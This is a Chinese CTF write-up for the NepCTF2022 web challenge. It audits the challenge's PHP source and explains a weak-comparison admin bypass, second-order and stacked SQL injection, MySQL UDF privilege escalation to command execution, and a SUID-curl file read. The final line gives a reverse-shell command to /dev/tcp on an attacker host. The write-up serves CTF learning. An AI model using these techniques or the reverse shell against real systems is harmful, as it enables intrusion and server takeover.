NepCTF2022 WEB 博学多闻的花花详解
先下载文件的附件,可以发现内容十分的齐全,sql建表内容,cnf配置文件和网站搭建的文件。
进入题目网站,看到如下界面

考点一:php弱等于绕过
先初步试一试每个的基础功能,方便后面加快代码审计的理解和速度以及抓住关键点的精确度。我们常规的试完功能后发现只有admin登录后才能查询成绩,那么我们可以很自然的联想到此处需要我们以admin的身份进行的登录从而进行进一步的操作。

所以我们进入到login.php来看是否有线索。
<?php
include("config.php");
if (isset($_COOKIE['username'])) {
header("Location: index.php");
exit();
}
if (isset($_POST['username']) && isset($_POST['studentid'])) {
if ($_POST['username']==='' || $_POST['studentid']==='' || $_POST['submit']!=='提交')
{
exit("搞事搞事搞事.jpg");
}
$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DATABASE);
mysqli_query($mysqli,"set names utf8");
$username = addslashes_deep($_POST['username']);
$studentid = addslashes_deep($_POST['studentid']);
if ($mysqli->connect_errno) {
exit("something err0r");
}
if($result = $mysqli->query("select * from users where username='$username' and studentid='$studentid'")) {
if ($result->num_rows === 1) {
$row = $result->fetch_array();
setcookie('username', md5($row['username']));
$_SESSION['username'] = ($row['username']);
$_SESSION['studentid'] = ($row['studentid']);
if ($row['username']=="admin"){
$random = md5(time());
$mysqli->query("update users set studentid='$random' where username='admin'");
}
header("Location: index.php");
} else {
exit("用户名或密码错误 QAQ");
}
}
}
然后我们仔细看会发现发现如下代码段
$row['username']=="admin"
可以发现这里是用弱等于处理的,然后是从数据库中拿出数据进行处理,再结合register.php的代码,我们可以想到利用admin%a0来绕过login.php的检测,其中%a0是某个不可显字符的url编码,注册好以后,就可以admin登陆了。操作如图所示


考点二:二次注入
简要审计之后我们会发现代码中存在着很多sql的语句,我们有理由猜测这题目跟sql注入有关,但是回过头来发现,每一个sql语句的参数都经过了addslashes_deep()函数的处理,然后跟进这个函数可以发现代码如下
function addslashes_deep($value){
if (empty($value)){
return $value;
}else {
return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
}
}
如果传入的是数组就对每个value值进行转义,如果不是就直接转义,起初我以为这里有漏洞可以绕过预编译,确实是有,但是没啥用,只能让key值绕过。所以就把这个放一边。后来结合admin登录后能查看成绩联想到score.php中可能存在着线索,于是我们进入到score.php进行代码审计,然后我们可以发下如下代码段
if ($result = $mysqli->query("select * from users where studentid='$studentid';")) {
$row = $result->fetch_array();
if ($row){
$username = $row['username'];
$sql = "select * from score where username='$username';";
if ($result2 = $mysqli->multi_query($sql)){
$row2 = $mysqli->store_result()->fetch_array();
这里其实存在两个sql注入的漏洞点,一个是由从数据库中再次取出数据进行sql查询而导致的二次注入,还有一个是可以多个语句执行的堆叠注入。
先说二次注入的点,这个点也是我们在这题目中利用很关键的一个点,用来绕过特殊字符转义的函数来达到我们的注入效果。而这个二次注入引发的原因是由于username的可控且二次取出查询利用。这里用实际操作来讲解会更加直观。首先我的本地的原本表的内容是这样的(其中username和password都是字符类型):

然后我执行如下插入操作insert into auth values(3,"admin\'","admin");,然后的表内容是这样的:

欸,你会发现转义用的\不见了,这里就是二次注入的关键所在了,即绕过了对特殊字符的转义,我们也可以利用此处来对sql语句进行闭合从而达到我们想要的效果。
考点三 联合注入(回显信息)+堆叠注入(执行命令)+mysql udf提权得到flag
结合数据库文件内容INSERT INTO 'ctf' VALUES (1, 'flag', 'flag_in_/flag');和配置文件内容secure-file-priv=/usr/lib64/mysql/plugin,我们可以发现想要获得flag,我们需要读取/flag文件的内容,但是由于secure-file-priv规定了路径,所以我们只能在目录下进行读写文件的操作,因此我们需要对自己的权限进行提升,实际上若有看过相关文章,对这个目录里的/plugin估计会挺敏感的。进行mysql udf提权原理之类的可以看一些相关文章。这里就呈现一下做题过程。我们先到kali里面,这里利用sqlmap里自带一个udf提权脚本。利用cloak.py将lib_mysqludf_sys.so_文件解析导出后,

然后在本地利用sql将其hex编码[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传,为后面文件写入做准备.


前期准备工作做好以后,我们开始准备实际提权操作。每次注册用户成功后,到admin账户里面查询相关学号成绩就可以得到想要的内容,当然有一些权限没有开,所以有些没回显也是正常的。这里就要利用到前面提到的堆叠注入并结合我们的联合注入回显来判断我们输入的注入语句是否执行。首先我们进行文件写入操作(图片中间没截取,太长
了)。


最后的sleep(20)是为了结合进程回显来判断这个命令是否执行(当然莽一点的话可以不用管),这样以后我们查询进程内容

上两个操作结合后,我们可以得到如下回显,可以看到sleep(20),已经存在于其中,这里的操作需要稍微快一点,不然等sleep执行完以后就看不到了。

由此可见我们的文件已经写入到指定目录之下,接下来我们创建一个自定义函数sys_eval(),函数的作用就是so文件中设计的内容。

这个作用其实就是命令执行。但是我们并不知道我们可以执行的命令有哪些,于是我们可以通过find / -perm -u=s -type f 2>/dev/null这个命令来查询具有suid权限的文件有哪些


在这些里面我们可以发现由curl命令,所以我们可以使用curl file:///flag 来读取flag文件内,最后结果如下。当然此处也可以选择反弹shell来做bash -i >& /dev/tcp/(攻击机ip地址)/(攻击机端口号) 0>&1

